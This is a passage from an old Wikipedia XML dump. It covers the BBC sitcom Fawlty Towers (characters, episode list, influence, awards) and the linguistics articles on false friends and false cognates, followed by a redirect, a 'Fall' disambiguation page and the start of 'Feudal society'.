* Major Gowen is a slightly senile old soldier who holds a permanent residence in the hotel. He enjoys talking about the world outside (especially the cricket scores) and is always on the lookout for the paper. He seems to have trouble understanding that the Second (or possibly even First) World War has been over for some time.  

* Miss Tibbs and Miss Gatsby are the other two (often inseparable) permanent residents, who are slightly scatty spinsters. They seem to take a fancy to Basil, though he switches from being overly kind to utterly rude during various talks with the two.

* The paperboy, though not seen very often, is responsible for changing the &quot;FAWLTY TOWERS&quot; sign to read various (sometimes crude) phrases, such as &quot;Fatty Owls&quot;, &quot;Flay Otters&quot;, &quot;Farty Towels&quot;, &quot;Watery Fowls&quot; and &quot;Flowery Twats&quot;. The shot of the sign with the hotel appears at the beginning of every episode but one.

==Plot==
The episodes typically revolve around Basil Fawlty's efforts to succeed, and his frustration at mistakes, both his own and those of others, which prevent him from doing so. Much of the humour comes from Basil's insulting and sometimes aggressive manner, engaging in angry but witty arguments with guests, staff and his wife, whom he addresses with insults such as &quot;that golfing puff adder&quot;. Despite this, he frequently feels intimidated as she is able to insult him with equal venom. At the end of some episodes, Basil; suceeds in annoying the guests and sometimes gets it thrown back in his face.

The plots are intricate and [[farce|farcical]], involving coincidences, misunderstandings, cross-purposes, accidental meetings and missed meetings. The sex of the [[bedroom farce]] is sometimes present, often to the disgust of conservative Basil, but it is Basil Fawlty's eccentricity, not his lust, that drives the plots.

The guests at the hotel are typically [[straight man|comic foil]]s to Basil's anger and outbursts, with requests both reasonable and impossible testing Basil Fawlty's temper. The show also uses mild [[black humour]] at times, notably when Basil is forced to hide a dead body, and some of the comments made by Basil both about Sybil (&quot;Did you ever see that film, ''How To Murder Your Wife''? ...Awfully good, I saw it six times&quot;) and about the guests (&quot;May I suggest that you consider moving to a hotel closer to the sea? Or preferably in it?&quot;) border on the [[psychopathic]]. Basil is also known to behave violently towards Manuel for innocent mistakes, exacting on some occasions physical violence, including beating Manuel with a frying pan and hitting him over the head, despite Manuel's piteous pleading.

Basil displays blatant elitism, expressing disdain for the &quot;riff-raff&quot; that he believes currently stay at the hotel, in order to climb the social ladder. His desperation is apparent, as he makes increasingly hopeless manoeuvres and painful faux pas in trying to gain favour with the wealthy, yet finds himself forced to serve and help people he sees as far lower than him. As such, Basil's efforts tend to be counter-productive, with guests leaving the hotel in disgust and his marriage stretching further and further towards breaking point.

==Episode list==
First broadcast on [[BBC Two|BBC 2]] on [[September 19]], [[1975]]. The episodes of the first series were:

===First series===
; ''' &quot;A Touch of Class&quot; '''
:Basil is delighted when a member of the aristocracy chooses to stay at the hotel, snubbing the normal guests who frequent the hotel. Unbeknownst to Basil, however, the man is not a Lord, but a confidence trickster who attempts to purloin Basil's collection of rare coins. As Basil's desperation to keep such an 'upstanding' guest increases, Basil becomes increasingly tolerant towards the man's behavior, only to have the guest arrested in a [[Criminal Investigation Department|CID]] raid on the hotel.
:Featuring [[Michael Gwynn]] as Lord Melbury.
:Sign outside the hotel reads: FAWLTY TOWERS. Sign is wider and font is fancier than the plain, Times-like font it would use later on.

; ''' &quot;The Builders&quot; '''
:When some work is required on the hotel lobby, Basil goes for the cheapest quote, an [[Ireland|Irish]] builder by the name of O'Reilly, the moment his wife is out of the way. O'Reilly and his workers botch the job, fitting doors where they shouldn't be and visa versa. As a result, Sybil is forced to call in a proper builder, only to suffer embarrassment when O'Reilly returns to fix the mess he made. However, Sybil soon realises that the hotel is no longer structurally sound.
:Featuring [[David Kelly (actor)|David Kelly]] as O'Reilly and [[Michael Cronin]] as Murphy.
:Sign reads: FAW&lt;sub&gt;L&lt;/sub&gt;TY TOWER

; ''' &quot;The Wedding Party&quot; '''
:Wherever he turns, Basil sees guests fraternising in what he considers an immoral way. But he is the one who ends up with his trousers down in public.
:Featuring [[Trevor Adams]] as Alan.
:Sign reads: FAW TY TO∑ER

; ''' &quot;The Hotel Inspectors&quot; '''
:When Basil hears of hotel inspectors anonymously roaming Torquay, he realises with horror that the man he has been monstering could easily be one of them.
:Featuring [[Bernard Cribbins]] and [[James Cossins]] as men who turn out not to be [[hotel inspector]]s.
:Sign reads: FAW TY TO ER

; ''' &quot;[[Gourmet Night]]&quot; '''
:Basil is thrilled when local [[VIP]]s accept an invitation to a gourmet evening (&quot;no riff-raff&quot;). Basil then proceeds to embarrass himself and annoy the guests by addressing the short Mrs. Hall as &quot;Mrs. Small&quot; and fainting when introducing the Colonel, who has an unfortunate twitch, to a Lionel Twitchen.
:Featuring [[André Maranne]] as Andre, [[Allan Cuthbertson]] as Colonel Hall and [[Ann Way]] as Mrs. Hall. Meanwhile his new chef gets drunk and can't cook, forcing Basil to order a duck from a local restaurant. On the way to collect it, his car breaks down, and when he finally reaches the hotel, finds he has accidentally collected a trifle instead.
:Sign reads: WA RTY TOWELS

; ''' &quot;[[The Germans]]&quot; '''
:A fire drill leaves Basil concussed in hospital, but somehow he still manages to nip back to the hotel in time to treat his German visitors to some of his unique welcoming methods.
:Featuring [[Brenda Cowling]] as Sister.
:This is the only episode in the entire series that did not feature the hotel as the backdrop for the titles: footage of the [[Northwick Park Hospital]] in [[Middlesex]] was used instead. Thus, the sign is not shown. 

All six episodes were directed by [[John Howard Davies]]. [[Andrew Sachs]], playing Manuel, twice suffered serious injury during the making of this series. Firstly John Cleese mistakenly picked up a real metal pan, rather than a fake rubber one, to knock him unconscious in 'The Wedding Party'. Secondly, when his clothes were treated in order to make them give off smoke after he had been let out of the burning kitchen in 'The Germans', the corrosive chemicals used went through them and gave him severe burns.

===Second series===
The second series was transmitted three and a half years later, with the first episode being broadcast on [[February 19]], [[1979]]. The episodes of the second series were:

; ''' &quot;Communication Problems&quot; '''
:The arrival of the &quot;guest from hell&quot; &amp;mdash; Mrs. Richards, a deaf and hot-tempered widow &amp;mdash; interferes with Basil's attempts to prevent the money he won on a racehorse from being discovered by Sybil, who disapproves of gambling.
:Featuring [[Joan Sanderson]] as Mrs Richards.
:Sign reads: FAW&lt;sub&gt;L&lt;/sub&gt;TY TOWER

; ''' &quot;The Psychiatrist&quot; '''
:A psychiatrist and his wife &amp;mdash; also a doctor &amp;mdash; come to the hotel for a weekend break, and cannot help but notice the eccentricities of their host, who is perturbed when he discovers their professions. 
:Featuring [[Elspet Gray]] as Mrs Abbott and [[Luan Peters]] as Raylene Miles.
:Sign reads: WATERY FOWLS

; ''' &quot;Waldorf Salad&quot; '''
:Basil is not altogether keen on an American guest who demands a higher class of service &amp;mdash; and food &amp;mdash; than Fawlty Towers is accustomed to providing.
:Featuring [[Bruce Boa]] as Mr Hamilton.
:Sign reads: FLAY OTTERS

; ''' &quot;The Kipper and the Corpse&quot; '''
:A guest dies of natural causes in bed, another faints at the sight of the body, and Basil frantically tries to hide the out-of-date breakfast kipper which he is convinced was responsible &amp;mdash; besides attempting to move the corpse downstairs unseen.
:Featuring [[Geoffrey Palmer (actor)|Geoffrey Palmer]] as Dr Price.
:Sign reads: FATTY OWLS

; ''' &quot;The Anniversary&quot; '''
:Basil organises some friends for a surprise wedding anniversary party, but Sybil assumes he has forgotten their anniversary and storms off, leaving her husband and Polly, in disguise, desperately telling the others she is 'ill'...
:Featuring [[Ken Campbell (actor)|Ken Campbell]] as Reg and [[Una Stubbs]] as Alice.
:Sign reads: FLOWERY TWATS

; ''' &quot;Basil the Rat&quot; '''
:The local health inspector issues a long list of hygienic aberrations which the staff immediately sort out. Sadly, they had not reckoned with Manuel's pet &amp;mdash; a 'Siberian hamster' &amp;mdash; escaping on the same day.
:Featuring [[John Quarmby]] as the [[Health Inspector]].
:Sign reads: FARTY TOWELS

All six episodes were directed by [[Bob Spiers]].

Production of the last two episodes was disrupted by a [[strike action|strike]] of BBC technical staff, which resulted in the recasting of the actor who had originally been cast as Reg in 'The Anniversary', and delayed the episode's transmission date by one week. The episode 'Basil the Rat' was also delayed, and was not screened until the end of a repeat showing six months later, due to the tape going missing.

''[[Not the Nine O'Clock News]]'' was originally scheduled to debut after an episode of ''Fawlty Towers'' and Cleese was to have introduced ''Not the Nine O'Clock News'' in a sketch referring to the technicians' strike, explaining (in character as Basil Fawlty) that there was no show ready that week, so a &quot;tatty revue&quot; would be broadcast instead. However, the [[United Kingdom general election, 1979|1979 general election]] intervened, and ''Not the Nine O'Clock News'' was pulled as being too political. Later that year, Cleese's sketch was broadcast, when by a stroke of luck the final episode of ''Fawlty Towers'' went out before the first series of ''Not the Nine O'Clock News'', though the original significance of the sketch was lost.  

Note: When originally transmitted, the individual episodes had no on-screen titles. The ones in common currency were first used for the VHS release of the series in the 1980s. There were working titles, such as 'USA' for 'Waldorf Salad', 'Death' for 'The Kipper and the Corpse' and 'Rats' for 'Basil the Rat' which had been printed in some program guides.

There have been persistent rumours about a &quot;lost&quot; 13th episode, &quot;The Robbers,&quot; which involved a blackout at the hotel [http://www.imdb.com/title/tt0072500/trivia].

{{endspoiler}}

==Influence from Fawlty Towers==
*[[Arthur Mathews]] and [[Graham Linehan]] have cited ''Fawlty Towers'' as a major influence on their sitcom ''[[Father Ted]]''.
*There also was a German sitcom series based on ''Fawlty Towers''.
*A few hotels and guesthouses have called themselves &quot;Fawlty Towers&quot;, including:
**A youth hostel in [[Darwin, Australia|Darwin]] visited in an episode of the travel documentary ''[[Full Circle with Michael Palin]]''.
**A hotel in [[Sidmouth]] which was painted like a [[Union Flag]]
**A hotel in the popular tourist town of [[Yangshuo]] in southern China
**A youth hostel in [[Fingal, Tasmania]], now a campus of [[Scotch Oakburn College]]
**A hotel in [[Cocoa Beach, Florida]] located a block from the beach, which displays [[British]] flags and a large sign displaying a picture of the hotel from the show. The [[typeface]] used on this sign is nearly identical to the one used in the opening title of the show.
*In [[Christchurch]], [[New Zealand]], you will find a private youth hostel named [http://www.backpack.co.nz/foley.html &quot;Foley Towers&quot;].
*In [[Newquay]], [[Cornwall]], there is a bed and breakfast establishment called &quot;Salty Towers&quot;.
*There are many Indian restaurants throughout the [[United Kingdom]] called [[Balti (food) | Balti]] Towers.

Three [[List of British TV shows remade for the American market|remakes]] of ''Fawlty Towers'' have been produced for the American market. The first, ''[[Chateau Snavely]]'', was produced by [[American Broadcasting Company|ABC]] for a pilot in 1978, but the transfer from coastal hotel to highway motel proved too much and the series was never produced. The second, also by ABC, was ''[[Amanda's]]'', notable for switching the genders of Basil and Sybil. It also failed to pick up a major audience and was dropped [http://www.bbc.co.uk/comedy/guide/articles/f/fawltytowers_7772600.shtml]. A third remake called ''[[Payne (TV series)|Payne]]'' was also produced, but was cancelled shortly after.

==Awards==
Three [[BAFTA]]s were awarded to people for their involvement with the series.  
Each of the two series were awarded the BAFTA in the category for &quot;Best Situation Comedy&quot;, the first won by John Howard Davies in in 1976, and the second by Douglas Argent and Bob Spiers in 1980. John Cleese won the BAFTA for &quot;Best Light Entertainment Performance&quot; in 1976.

==Trivia==
* Gilly Flower (Ms Tibbs) is still alive today. 
* Fawlty Towers finished second to [[Frasier]] in [[The Ultimate Sitcom]] poll of comedy writers in January 2006.
* Cleese and Booth were married at the time of the first series (1975). By the second series (1979), Cleese and Booth had divorced after ten years of marriage (1968&amp;ndash;78).
* Basil and Sybil's wedding anniversary is on [[17 April]].

==References==
* [http://www.bbc.co.uk/comedy/guide/articles/f/fawltytowers_7772600.shtml BBC Guide to Comedy]
* {{imdb title|id=0072500|title=Fawlty Towers}}
* [http://www.phill.co.uk/comedy/fawlty/ TV Comedy Database]
* [http://www.opinion.telegraph.co.uk/news/main.jhtml?xml=/news/2002/05/11/nfawlt11.xml The Daily Telegraph - 'Certainly Donald was a disciplinarian and he couldn't stand fools']
* ''Fawlty Towers: A Worshippers Companion'', Leo Publishing, ISBN 9197366188

==External links==
{{wikiquote}}

'''Television databases'''
* [http://www.sitcom.co.uk/fawlty_towers/ ''British Sitcom Guide'']
* [http://www.bbcamerica.com/genre/comedy_games/fawlty_towers/fawlty_towers.jsp BBC America]
* [http://tviv.org/wiki/Fawlty_Towers TV IV]
* [http://www.screenonline.org.uk/tv/id/459034/index.html British Film Institute Screen Online]
* [http://www.museum.tv/archives/etv/F/htmlF/fawltytowers/fawltytowers.htm Encyclopedia of Television]

'''Fansites'''
* [http://www.btinternet.com/~c.tomlinson/fawlty1.html Unofficial Guide to ''Fawlty Towers'']
* [http://www.40towers.co.uk 40 Towers]
* [http://www.fawltytowersonline.com ''Fawlty Towers'' - Online]
* [http://www.fawltysite.net Fawltysite.net]

[[Category:British television sitcoms]]
[[Category:BBC television programmes]]

[[da:Halløj på Badehotellet]]
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  <page>
    <title>False friend</title>
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      <text xml:space="preserve">'''False friends''' are pairs of words in two [[language]]s (or letters in two alphabets) that look and/or sound similar, but differ in meaning.

[[False cognate]]s, by contrast, are similar words in different languages that appear to have a common historical linguistic origin (regardless of meaning) but actually do not.  The phrase ''false cognates'' is also sometimes used to mean ''false friends''.

== The problem ==
Both false friends and false cognates can cause difficulty for students learning a foreign language, particularly one that is related to their [[native language]], because the students are likely to misidentify the words due to [[language interference]]. Since false friends are a common problem for language learners, teachers sometimes compile lists of false friends as an aid for their students.  

Even compilers of bilingual dictionaries are sometimes fooled by false friends, particularly when they are cognates.  For example, the Spanish ''embarazada'' at first glance looks like &quot;embarrassed,&quot; but actually means &quot;pregnant.&quot;  The best defense for the language student is to use a monolingual dictionary in the target language as a final authority.

[[Comedy]] sometimes includes [[pun]]s on false friends, which are considered particularly amusing if one of the two words is [[obscene]]; when an obscene meaning is produced in these circumstances, it is called [[cacemphaton]] (κακεμφάτον), Greek for 'bad-looking'.

== Causes ==
From the [[etymology|etymological]] point of view, false friends can be created in several ways:
* '''[[Cognate]]s'''. If Language A borrowed a word from Language B, then in one language the word shifted in meaning or had more meanings added, a [[native speaker]] of one language will face a false friend when learning the other. 
:: For example, the words ''preservative'' (English), ''Präservativ'' (German), ''prezervativ'' (Romanian), ''preservativo'' (Italian, Spanish, Portuguese) and ''prezerwatywa'' (Polish) are all derived from the French ''préservatif''. However, in all of these languages except English, the predominant meaning of the word has become &quot;[[condom]]&quot;, while the most common French word for &quot;preservative&quot; is now ''conservateur''.  ''Actual'' has a different meaning in English than in other European languages, where it means ''current'' or ''up-to-date'', and has the logically derivative [[verb]] ''to actualize'' meaning ''to make current'' or ''to update''.
* '''[[Homonym]]s'''. In certain cases, false friends evolved separately in the two languages. Words usually change by small shifts in pronunciation accumulated over long periods and sometimes converge by chance on the same pronunciation or look despite having come from different roots.
:: For example, [[German language|German]] ''Rat'' (= ''[[council]]'') is cognate with English ''[[reading (activity)|read]]'' and German ''Rede'' (= ''[[speech]]''), while English ''[[rat]]'' for the mammal, has its German cognate ''Ratte''.
* '''Different [[alphabets]]''' / '''[[Homograph]]s'''.
:: For example, [[Roman alphabet|Roman]] &quot;P&quot; came to be written like [[Greek Alphabet|Greek]] &quot;[[Rho_(letter)|Rho]]&quot; (written &quot;&amp;Rho;&quot; but pronounced as English &quot;R&quot;), so the Roman letter equivalent to rho was modified to &quot;R&quot; to keep it distinct. &lt;!-- Chemists beware! --&gt;
* '''[[Pseudo-anglicism]]s'''. These are artificially created words constructed from elements borrowed from English, but whose [[morpheme]]s do not actually exist in English.
::For example, in [[German language|German]]: ''Oldtimer'' refers to an old car rather than an old person, ''handy'' refers to a [[mobile telephone]], while ''Beamer'' refers to a video projector, and not a [[Beamer (cricket)|type of cricket delivery]] or a [[BMW]] automobile.  
::[[Japanese language|Japanese]] is replete with pseudo-anglicisms, known as ''[[wasei-eigo]]'' (&quot;Japan-made English&quot;).  A particularly complicated one is the word ''naitā'' which means night-time baseball game.  It is derived from the American ''twi-nighter'' which is short for ''twi-night doubleheader'', baseball slang meaning two games played by the same teams in a single day, one in the afternoon and the other in the evening, usually starting at twilight and continuing into the night.  The Japanese ''naitā'' is strictly Japanese baseball slang, and is unknown to American baseball fans.  In English ''niter'' is a name for [[potassium nitrate]].
* '''Slang Phrases'''. Some phrases commonly used in one culture and language, may lose context when translated to another language, conveying a totally different meaning.
::For example ''I'll call you back'' means that I will call you at a later time, in reply to your call, or in a later attempt to call. However, translating literally to Spanish would end up in ''Te hablo para atras'', which actually means: ''I'll call you backwards'' or ''I talk you backwards''.

==Examples==
The [[The Parker Pen Company|Parker Pen Company]] may have experienced a case of such confusion when they were trying to translate their slogan &quot;It won't leak in your pocket and embarrass you&quot; for the [[Latino]] [[market]]. As they mistakenly thought ''embarazar'' meant ''to embarrass'', the Spanish slogan was proudly displayed across Latin communities as: &quot;It won't leak in your pocket and make you pregnant&quot;.

Words like &quot;[[hot dog]]&quot; can come out lost in translation; [[Richard Lederer]], an author and professor of English, once went to [[Germany]] and asked a vendor for a ''heißer Hund'' (a literal translation of &quot;hot dog&quot;). The vendor broke out laughing, for in German, ''heißer Hund'' suggests a dog [[Estrus cycle|in heat]].

This effect may also occur, where someone with little experience of English could embarrass herself by using a false cognate when speaking with a native English-speaker. For example, a Swede could mistakenly believe that the English equivalent to the [[Swedish language|Swedish]] word ''kock'' (which means &quot;[[cooking|cook]]&quot; in English) is &quot;cock&quot;. This could lead to an embarrassing situation if the Swede said something like &quot;I like your cock&quot; when attempting to express appreciation for the chef's cooking.

This could also happen if a person is unaware that the same word may have several different meanings. A person who likes [[steak]] rare might order a &quot;bloody steak&quot;, because the Swedish equivalent of &quot;rare steak&quot; is ''blodig stek'' (''blodig'' meaning &quot;bloody&quot;). This might raise eyebrows at a [[restaurant]] in the [[United Kingdom]], since &quot;bloody&quot; is also a mild expletive in that country, although most British waiters would understand the customer's request. Another example is that the Japanese word &quot;大出血&quot; means [[big sale]], while the same words in Chinese means heavy bleeding.

Mistakes can also occur between very closely related languages.  In German, ''Huren'' means &quot;[[whore]]s&quot;, in Dutch ''huren'' means &quot;to rent&quot;, and ''Huursoldat'' means &quot;[[mercenary]]&quot;, not &quot;whore soldier&quot;.

==See also ==
*[[List of false friends]]
*[[Embarazado]]

== External links ==
* [http://german.about.com/library/weekly/aa030199.htm German/English false friends]
* [http://spanish.about.com/library/weekly/aa101899.htm Spanish/English false friends]
* [http://french.about.com/library/fauxamis/blfauxam_a.htm French/English false friends]
* [http://home.att.net/~keiichiro/janglish/list.html Japanese/English false friends]
* [http://www.btk.elte.hu/delg/people/core/lazar/falsefriends.html Hungarian/English false friends]
* [http://www.englisch-hilfen.de/en/words/false_friends.htm List of German/English false friends]
* [[wikibooks:False Friends of the Slavist|Bilingual lists of Slavic false friends]] (a comprehensive collection at Wikibooks)

== References ==
* Geoff Parkes and Alan Cornell (1992), 'NTC's Dictionary of German False Cognates',  National Textbook Company, NTC Publishing Group.

[[Category:Language comparison]]

[[bg:Фалшиви приятели]]
[[de:Falscher Freund]]
[[es:Falso amigo]]
[[eo:Falsa amiko]]
[[fr:Faux-ami]]
[[hu:Hamis barát]]
[[nl:Valse vriend]]
[[no:Falske venner]]
[[fi:Väärät ystävät]]
[[sv:Falska vänner]]
[[zh:伪友]]</text>
    </revision>
  </page>
  <page>
    <title>False cognate</title>
    <id>11676</id>
    <revision>
      <id>40405608</id>
      <timestamp>2006-02-20T08:41:29Z</timestamp>
      <contributor>
        <username>Jakes18</username>
        <id>151038</id>
      </contributor>
      <minor />
      <comment>Rv own edit</comment>
      <text xml:space="preserve">:False cognate ''is sometimes also loosely used to mean [[false friend]]

A pair of '''false cognates''' consists of two words in different [[language|languages]] that appear to be or are sometimes considered [[cognate|cognates]] (words in different languages with a common [[root (philology)|root]]) when they are in fact not. Note that even false cognates may have an indirect connection between them, even if they lack a common root.  

For example, the word for &quot;dog&quot; in the [[Australian Aboriginal languages|Australian Aboriginal language]] [[Mbabaram language|Mbabaram]] happens to be ''dog'', although there is no common ancestor or other connection between that language and [[English language|English]] (the Mbabaram word evolved regularly from a protolinguistic form ''*guduga''). Similarly, in the [[Japanese language]] the word 'to occur' happens to be ''okoru''. Sometimes, words merge, e.g. [[Finnish language|Finnish]] ''piikki''  seems like a cognate to ''spike'', but when it has the meaning &quot;[[cusp]] of a graph&quot;, the cognate is ''peak''.

The basic kinship terms [[mama and papa]] comprise a special case of false cognates (cf. [[Xu language|!Kung]] ''ba'', [[Chinese language|Chinese]] ''bàba'', [[Persian language|Persian]] ''baba'', and [[French language|French]] ''papa'' (all &quot;dad&quot;); or [[Navajo language|Navajo]] ''má'', [[Chinese language|Chinese]] ''m&amp;#257;ma'', [[Swahili language|Swahili]] ''mama'' and English &quot;mum/mom&quot;). The striking cross-linguistical similarities between these terms are thought to result from the nature of [[language acquisition]] ([[Roman Jakobson|Jakobson]] 1962). According to Jakobson, these words are the first word-like sounds made by babbling babies; and parents tend to associate the first sound babies make with themselves. Thus, there is no need to ascribe the similarities to common ancestry. This hypothesis is supported by the fact that these terms are built up from speech sounds that are easiest to produce ([[labial consonant|bilabial]] [[stop consonant|stops]] like ''m'' and ''b'' and the basic [[vowel]] ''a''). However, variants do occur; for example, in [[Fijian language|Fijian]], the word for &quot;mother&quot; is ''nana'', and in [[Old Japanese]], the word for &quot;mother&quot; was ''papa'' (the modern word ''haha'' &quot;mother&quot; is the descendant of the older word). Furthermore, the modern Japanese word for &quot;father,&quot; ''chichi'', is from older ''titi.'' See [[Mama and papa]] for more information.

The term &quot;false cognate&quot; is sometimes misused to describe [[false friends]]. One difference between false cognates and false friends is that while false cognates mean roughly the same thing in two languages, false friends bear two distinct (sometimes even opposite) meanings. In fact, a pair of false friends may be true cognates (see [[false friend#Causes|false friends: causes]]).

The opposite of a false cognate is an [[expressive loan]], which looks like a native construction, but is not.

== Examples ==

* [[Arabic language|Arabic]] ''akh'' (brother) and [[Mongolian language|Mongolian]] ''akh'' (brother)
* [[Bikol language|Bikol]] ''aki'' (child) and [[Korean language|Korean]] ''agi'' (child)
* [[Blackfoot]] ''aki'' (woman) and [[Even language|Even]] ''akhi'' (woman)
* [[Arabic language|Arabic]] ''ana'' (I) and [[Gondi language|Gondi]] ''ana'' (I)
* [[Arabic language|Arabic]] ''anta'' (you, singular) and [[Japanese language|Japanese]] ''anta'' (you, singular)
* [[Arabic language|Arabic]] ''ard'' (earth) and [[Dutch language|Dutch]] ''aard'' (earth)
* [[English language|English]] ''earth'' and [[Hebrew language|Hebrew]] ''erets'' (land)
* [[Hebrew language|Hebrew]] ''ari'' (lion) and [[Tamil language|Tamil]] ''ari'' (lion)
* [[Kyrgyz language|Kyrgyz]] ''ayal'' (woman) and [[Parji language|Parji]] ''ayal'' (woman)
* [[Ga language|Ga]] ''ba'' (come) and [[Hebrew language|Hebrew]] ''ba'' (come)
* [[English language|English]] ''bad'' and [[Persian language|Persian]] ''bad''
* [[English language|English]] ''chop'' and [[Uzbek language|Uzbek]] ''chop''
* [[English language|English]] ''dog'' and [[Mbabaram language|Mbabaram]] ''dog''
* [[English language|English]] ''house'' and [[Hungarian language|Hungarian]] ''ház'' (house, block of flats) (the Hungarian word has corresponding counterparts in other [[Uralic languages]])
* [[English language|English]] ''it'', [[Russian language|Russian]] ''eto'' and [[Tagalog language|Tagalog]] ''eto'' / ''ito'' (it, this), 
* [[English language|English]] ''pan'' and [[Mandarin Chinese]] ''pan'' (pan, shallow plate)
* [[Hebrew language|Hebrew]] ''kehunah'' (priesthood) and [[Hawaiian language|Hawaiian]] ''kahuna'' (priest)
* [[English language|English]] ''vagina'', and [[Hawaiian language|Hawaiian]] and [[Maori language|Maori]] ''wahine'' (woman)
* [[English language|English]] ''trawl'' (to fish by dragging a net) and [[English language|English]] ''troll'' (to fish by trailing a line)
* [[Japanese language|Japanese]] ''arigato'' (thanks) and [[Portuguese language|Portuguese]] ''obrigado'' (thank you)
* [[Mandarin language|Mandarin]] &quot;shítou&quot; (stone; [[Traditional Chinese|traditional]] 石頭, [[Simplified Chinese|simplified]] 石头) and [[English language|English]] &quot;stone&quot;
* [[Mandarin language|Mandarin]] &quot;tā&quot; (他) and [[Estonian language|Estonian]] &quot;ta&quot; (short form of &quot;tema&quot;) (he/she)
* [[Estonian language|Estonian]] ''mina'' and [[Zulu language|Zulu]] ''mina'' (I)
* [[Russian language|Russian]] ''baba'' and [[Japanese language|Japanese]] ''baba'' (disrespectful term meaning &quot;old hag&quot;)
* [[Russian language|Russian]] ''doroga'' (road) and [[Hebrew language|Hebrew]] ''dereh'' (road)
* [[English language|English]] ''evaporate'' and [[Russian language|Russian]] ''ispar'at' '' (evaporate)
* [[English language|English]] ''hut'' and [[Russian language|Russian]] ''hata'' (hut)
* [[Russian language|Russian]] ''krest'' (cross) and [[German language|German]] ''kreuz'' (cross)
* [[Hebrew language|Hebrew]] ''shesh'' (six) and [[Persian language|Persian]] ''shesh'' (six)
* [[English language|English]] ''cold'' and [[Russian language|Russian]] ''holod'' (cold)
* [[English language|English]] ''cheek'' and [[Russian language|Russian]] ''scheka'' (cheek)
* German haben / English have and Latin habere (have)
* [[Samoan language|Samoan]] ''le'' and [[French Language|French]] ''le'' (the)
* [[Pashto language|Pashto]] ''dwa'' (two) and [[Indonesian language|Indonesian]] ''dua'' (two)
* [[Inuit language|Inuit]] ''[[kayak]]'' and [[Turkish language|Turkish]] ''kaik''(rowing boat)
* [[Spanish language|Spanish]] ''Juanita'' (feminine diminutive form of &quot;John&quot;) and [[Malay language|Malay]] and [[Indonesian language|Indonesian]] ''wanita'' (woman/female)

==References==
* Jakobson, R. (1962) &amp;#8216;Why &amp;#8220;mama&amp;#8221; and &amp;#8220;papa&amp;#8221;?&amp;#8217; In Jakobson, R. ''Selected Writings, Vol. I: Phonological Studies'', pp. 538&amp;#8211;545. The Hague: Mouton.

* Geoff Parkes and Alan Cornell (1992), 'NTC's Dictionary of German False Cognates',  National Textbook Company, NTC Publishing Group.

==External links==
* [http://members.aol.com/yahyam/coincidence.html A list of false cognates]

[[Category:Historical linguistics]]</text>
    </revision>
  </page>
  <page>
    <title>False claims law</title>
    <id>11678</id>
    <revision>
      <id>19127958</id>
      <timestamp>2005-07-19T04:07:55Z</timestamp>
      <contributor>
        <username>Agentsoo</username>
        <id>80866</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[False Claims Act]]</text>
    </revision>
  </page>
  <page>
    <title>Fall (disambiguation)</title>
    <id>11680</id>
    <revision>
      <id>41671140</id>
      <timestamp>2006-02-28T23:40:42Z</timestamp>
      <contributor>
        <username>NaySay</username>
        <id>701573</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Fall''' (and '''the fall''', which re-directs here) may mean:

* '''Fall''' is the more common [[North American English]] [[word]] for the [[season]] usually known as '''[[autumn]]''' in the [[United Kingdom]] and other [[English language|English]]-speaking countries.

* A '''[[free-fall]]''' or other downward movement, often followed by a [[collision]] with the [[ground]], due to gathering [[speed]] by [[weight]]. It is the result of [[drop]]ping something, [[jump]]ing, or an [[accident]] in which a [[person]] or [[object (philosophy)|object]] is no longer supported, [[e.g.]] something rolls or slides off a [[Furniture|table]], one loses control over one's [[Human leg|legs]] or [[bicycle]], etc. See [[falling]].

* A shortened form of the [[word]] '''[[waterfall]]''', more typically &quot;falls&quot; than just &quot;fall&quot; (such as &quot;we're hiking up to the falls today&quot;).  These often occur around the '''[[fall line]]'''; in the eastern [[United States|US]], for example, where the [[Piedmont (United States)|Piedmont]] drops to the [[coast]]al [[plain]].

* A  '''fall''' is the sudden arrival of large numbers of [[bird migration|migrating]] [[bird]]s on an [[island]] or at a [[coast]]al [[headlands and bays|headland]] due to [[drift migration]]. 

* [[The Fall of Man]] is a [[Judaism|Jewish]] and [[Christianity|Christian]] [[doctrine]] of man's rebellion against his creator [[God]], bringing God's condemnation on himself, as described in the story of [[Adam and Eve]].

* ''[[Fall (EP)]]'', an EP Ride released in [[1990]]
* ''[[The Fall]]'', the third novel written by Albert Camus
* [[The Fall (band)]], a prolific post-punk band who formed in Manchester, 1977

* '''[[Falling (forestry)]]''' refers to the various methods employed for cutting down trees. People so employed are known as '''[[Falling (forestry)|Fallers]]'''  

* '''fall''', a rope that straightly &quot;falls&quot; at the mast that hoists and lowers the sail, see [[halyard]]

* [[astrological]] [[astrological fall|fall]] is a term for a planet in a form of debilitated [[essential dignity]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Feudal society</title>
    <id>11681</id>
    <revision>
      <id>37297401</id>
      <timestamp>2006-01-30T02:11:15Z</timestamp>
      <contributor>
        <username>Adam Bishop</username>
        <id>13008</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/70.237.218.198|70.237.218.198]] ([[User talk:70.237.218.198|talk]]) to last version by Adam Bishop</comment>
      <text xml:space="preserve">[[Image:Les Très Riches Heures du duc de Berry mars.jpg|thumb|250px|Peasants plowing in front of a castle, French manuscript c. 1415]]
'''Feudal society''' is a sometimes debated term used to describe the [[Middle Ages|medieval]] social order of western and central [[Europe]] and sometimes Japan (particularly in the 14th to 16th centuries) characterised by the legal subjection of a large part of the peasantry to a hereditary landholding elite exercising administrative and judicial power on the basis of reciprocal private undertakings. 

The term's validity is questioned by many medieval historians who consider the description &quot;feudal&quot; appropriate only to the specifically voluntary and personal bonds of mutual protection, loyalty and support among members of the administrative, military or ecclesiastical elite, to the exclusion of involuntary obligations attached to tenure of &quot;unfree&quot; land. This stricter concept is discussed under [[Feudalism]], and the bonds which it excludes under [[Manorialism]]. Examples of feudalism are helpful to fully understand feudalism and feudal society. Some useful particular examples may be seen at [[Feudalism (examples)]].

===Conception of feudal society===
In the broader conception of feudal society, as developed in the 1930s by the French [[Annales School|''Annaliste'']] historian [[Marc Bloch]], the prevailing features include: 
# The absence of a strong central authority, and the diffusion of governmental power through the granting of administrative and legal authority over particular lands (fiefs) by higher lords (including the king) to vassals sworn by voluntary oath to support or serve them, usually (though not exclusively) by military means. 
# The obligation attached to particular holdings of land that the peasant household should supply the lord with specified labour services or a part of its output (or cash in lieu thereof) subject to the custom of the holding. 

===Common features of feudal societies===
Features common among feudal societies, but which do not necessarily define them, include: 
